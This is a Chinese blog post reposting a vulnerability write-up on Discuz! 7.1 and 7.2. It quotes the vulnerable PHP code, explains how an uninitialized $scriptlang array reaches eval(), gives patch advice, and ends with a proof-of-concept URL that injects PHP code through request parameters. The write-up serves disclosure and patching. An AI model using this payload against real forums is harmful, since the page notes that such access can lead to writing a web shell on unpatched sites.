[修补]Discuz! 7.1 & 7.2 远程代码执行漏洞

本文仅为技术研究,转发一下漏洞代码以及官方修补方案,有exp的小朋友,估计可以随意蹂躏尚未修补漏洞的Discuz! 7.1 & 7.2网站了……

1月5日出的漏洞,1月6日早上官方就开始写修补代码了,1月6日晚上放出修补代码,积极性不错,也从侧面反映了discuz人气高,团队不错!


引用(Discuz! 7.1 & 7.2 远程代码执行漏洞)

来自:http://www.oldjun.com/blog/index.php/archives/58/

首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实发现的是同一个问题。截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了,而且确实出自昨天我的那个版本。

不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C...总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。

上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。

漏洞介绍:

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

  1. function showmessage($message$url_forward = ''$extra = ''$forwardtype = 0) { 
  2.     extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com 
  3.     global $hookscriptmessage$extrahead$discuz_uid$discuz_action$debuginfo$seccode$seccodestatus$fid$tid$charset$show_message$inajax$_DCACHE$advlist
  4.     define('CACHE_FORBIDDEN', TRUE); 
  5.     $hookscriptmessage = $show_message = $message;$messagehandle = 0; 
  6.     $msgforward = unserialize($_DCACHE['settings']['msgforward']); 
  7.     $refreshtime = intval($msgforward['refreshtime']); 
  8.     $refreshtime = emptyempty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3); 
  9.     $msgforward['refreshtime'] = $refreshtime * 1000; 
  10.     $url_forward = emptyempty($url_forward) ? '' : (emptyempty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward); 
  11.     $seccodecheck = $seccodestatus & 2; 
  12.     if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) { 
  13.         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log'
  14.         if($fp = @fopen($statlogfile'a')) { 
  15.             @flock($fp, 2); 
  16.             if(is_array($funcstatinfo)) { 
  17.                 $funcstatinfo = array_unique($funcstatinfo); 
  18.                 foreach($funcstatinfo as $funcinfo) { 
  19.                     fwrite($fp, funcstat_query($funcinfo$message)."\n"); 
  20.                 } 
  21.             } else { 
  22.                 fwrite($fp, funcstat_query($funcstatinfo$message)."\n"); 
  23.             } 
  24.             fclose($fp); 
  25.             $funcstatinfo = $GLOBALS['funcstatinfo'] = ''
  26.         } 
  27.     } 
  28.  
  29.     if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) { 
  30.         write_statlog($message); 
  31.     } 
  32.  
  33.     if($url_forward && (!emptyempty($quickforward) || emptyempty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message$msgforward['messages']))) { 
  34.         updatesession(); 
  35.         dheader("location: ".str_replace('&''&'$url_forward)); 
  36.     } 
  37.     if(!emptyempty($infloat)) { 
  38.         if($extra) { 
  39.             $messagehandle = $extra
  40.         } 
  41.         $extra = ''
  42.     } 
  43.     if(in_array($extraarray('HALTED''NOPERM'))) { 
  44.         $discuz_action = 254; 
  45.     } else { 
  46.         $discuz_action = 255; 
  47.     } 
  48.  
  49.     include language('messages'); 
  50.  
  51.     $vars = explode(':'$message);//只要含:就可以了 
  52.     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割 
  53.         eval("\$show_message = \"".str_replace('"''\"'$scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from www.oldjun.com 
  54.     } elseif(isset($language[$message])) { 
  55.         $pre = $inajax ? 'ajax_' : ''
  56.         eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";"); 
  57.         unset($pre); 
  58.     } 
  59.  
  60.     ...... 

二、DZ的全局机制导致了未初始化的参数可以任意提交:

  1. foreach(array('_COOKIE''_POST''_GET'as $_request) { 
  2.     foreach($$_request as $_key => $_value) { 
  3.         $_key{0} != '_' && $$_key = daddslashes($_value); 
  4.     } 
  5. }  

三、misc.php正好有个可以自定义message的点,其实也是未初始化:

  1. elseif($action == 'imme_binding' && $discuz_uid) { 
  2.  
  3.     if(isemail($id)) { 
  4.         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'"); 
  5.         $msn = explode("\t"$msn); 
  6.         $id = dhtmlspecialchars(substr($id, 0, strpos($id'@'))); 
  7.         $msn = "$msn[0]\t$id"
  8.         $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'"); 
  9.         showmessage('msn_binding_succeed''memcp.php'); 
  10.     } else { 
  11.         if($result == 'Declined') { 
  12.             dheader("Location: memcp.php"); 
  13.         } else { 
  14.             showmessage($response['result']);//$response没有初始化,可以自定义,from www.oldjun.com 
  15.  
  16.         } 
  17.     } 
  18.  
  19.    } 

四、漏洞利用:

showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。

五、漏洞修复:

1.有补丁的打补丁;
2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}


引用官方最新漏洞补丁http://www.discuz.net/thread-1537673-1-1.html

Tags: discuz

上一篇: 快速恢复VPS
下一篇: [转]募捐:请帮助一名 Linux 程序员的女儿

相关文章

发表评论